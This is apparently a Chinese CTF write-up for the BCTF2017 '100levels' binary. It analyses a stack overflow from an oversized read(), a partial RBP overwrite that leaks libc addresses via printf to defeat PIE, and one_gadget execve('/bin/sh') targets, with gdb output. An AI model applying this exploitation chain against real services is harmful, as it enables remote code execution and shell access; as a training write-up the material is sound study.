PIE影响的只是程序加载基址,并不会影响指令间的相对地址,因此我们如果能泄露出程序或libc的某些地址,我们就可以利用偏移来达到目的。

有漏洞的函数如下

signed __int64 __fastcall sub_E43(signed int a1)
{
  signed __int64 result; // rax@2
  int v2; // eax@5
  __int64 v3; // rax@5
  __int64 buf; // [sp+10h] [bp-30h]@1
  __int64 v5; // [sp+18h] [bp-28h]@1
  __int64 v6; // [sp+20h] [bp-20h]@1
  __int64 v7; // [sp+28h] [bp-18h]@1
  int v8; // [sp+34h] [bp-Ch]@5
  int v9; // [sp+38h] [bp-8h]@5
  int v10; // [sp+3Ch] [bp-4h]@5

  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  if ( a1 )
  {
    if ( sub_E43((unsigned int)(a1 - 1)) == 0 )
    {
      result = 0LL;
    }
    else
    {
      v10 = rand() % a1;
      v2 = rand();
      v9 = v2 % a1;
      v8 = v2 % a1 * v10;
      puts("====================================================");
      printf("Level %d\n", (unsigned int)a1);
      printf("Question: %d * %d = ? Answer:", (unsigned int)v10, (unsigned int)v9);
      read(0, &buf, 0x400uLL);															#溢出点
      v3 = strtol((const char *)&buf, 0LL, 10);
      result = v3 == v8;
    }
  }
  else
  {
    result = 1LL;
  }
  return result;
}

read会读入0x400个字符到栈上,而对应的局部变量buf显然没那么大,因此会造成栈溢出。由于使用了PIE,而且题目中虽然有system但是没有后门,所以本题没办法使用partial write劫持RIP。

offset为0x30+8 = 56

我们观察到,这个函数中,print函数是通过rbp+offset进行定位的

.text:0000000000000ECC 048                 mov     eax, [rbp+var_34]
.text:0000000000000ECF 048                 mov     esi, eax
.text:0000000000000ED1 048                 lea     rdi, aLevelD    ; "Level %d\n"
.text:0000000000000ED8 048                 mov     eax, 0
.text:0000000000000EDD 048                 call    _printf
.text:0000000000000EE2 048                 mov     edx, [rbp+var_8]
.text:0000000000000EE5 048                 mov     eax, [rbp+var_4]
.text:0000000000000EE8 048                 mov     esi, eax
.text:0000000000000EEA 048                 lea     rdi, aQuestionDD?Ans ; "Question: %d * %d = ? Answer:"
.text:0000000000000EF1 048                 mov     eax, 0
.text:0000000000000EF6 048                 call    _printf

同时在调试这个函数的时候,栈上有有大量指向libc的地址,我们可以通过partial overwrite修改RBP的值指向这些地址,从而使print函数leak出了libc的地址,利用这些地址和libc就可以计算到one gadget RCE的地址从而栈溢出调用。

在开启PIE且去掉符号表的情况下,需要使用more /proc/pid/maps查找elf的基地址

more /proc/23332/maps
562f09385000-562f09387000 r-xp 00000000 fd:00 8937750                    /root/sploitfun/BCTF2017_100levels/100levels
562f09586000-562f09587000 r--p 00001000 fd:00 8937750                    /root/sploitfun/BCTF2017_100levels/100levels
562f09587000-562f09588000 rw-p 00002000 fd:00 8937750                    /root/sploitfun/BCTF2017_100levels/100levels

再加上ida中看到的基地址,计算出绝对地址

或者echo 0 > /proc/sys/kernel/randomize_va_space调试的时候关闭PIE(关闭这个表示ASLR和PIE都关闭)

关闭后elf基地址0x555555554000,question地址0x555555554e43,question中read的地址为0x555555554f0c,question中rbp:0x7fffffffe140,多输出一个a之后,rbp的值为0x7fffffff0a41

gdb-peda$ x/gx $rbp-0x40
0x7fffffffe100:	0x00007ffff7dd5400
gdb-peda$ x/3i 0x00007ffff7dd5400
   0x7ffff7dd5400 <_IO_2_1_stdout_>:	xchg   DWORD PTR [rax],ebp
   0x7ffff7dd5402 <_IO_2_1_stdout_+2>:	lods   eax,DWORD PTR ds:[rsi]
   0x7ffff7dd5403 <_IO_2_1_stdout_+3>:	sti    

print相关位置的汇编代码如下

.text:0000000000000ECC     ; 30:       printf("Level %d\n", (unsigned int)a1);
.text:0000000000000ECC 048                 mov     eax, [rbp+var_34]
.text:0000000000000ECF 048                 mov     esi, eax
.text:0000000000000ED1 048                 lea     rdi, aLevelD    ; "Level %d\n"
.text:0000000000000ED8 048                 mov     eax, 0
.text:0000000000000EDD 048                 call    _printf
.text:0000000000000EE2     ; 31:       printf("Question: %d * %d = ? Answer:", (unsigned int)v10, (unsigned int)v9);
.text:0000000000000EE2 048                 mov     edx, [rbp+var_8]
.text:0000000000000EE5 048                 mov     eax, [rbp+var_4]
.text:0000000000000EE8 048                 mov     esi, eax
.text:0000000000000EEA 048                 lea     rdi, aQuestionDD?Ans ; "Question: %d * %d = ? Answer:"
.text:0000000000000EF1 048                 mov     eax, 0
.text:0000000000000EF6 048                 call    _printf

通过如下可知,Level之后的值是rbp-0x34位置上的值

gdb-peda$ x/s 0x7fffffffe0f0-0x34
0x7fffffffe0bc:	"\001"

查找libc中的one_gadget

one_gadget /usr/lib64/libc.so.6
0x43098 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x430ec execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe821f execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xe905b execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL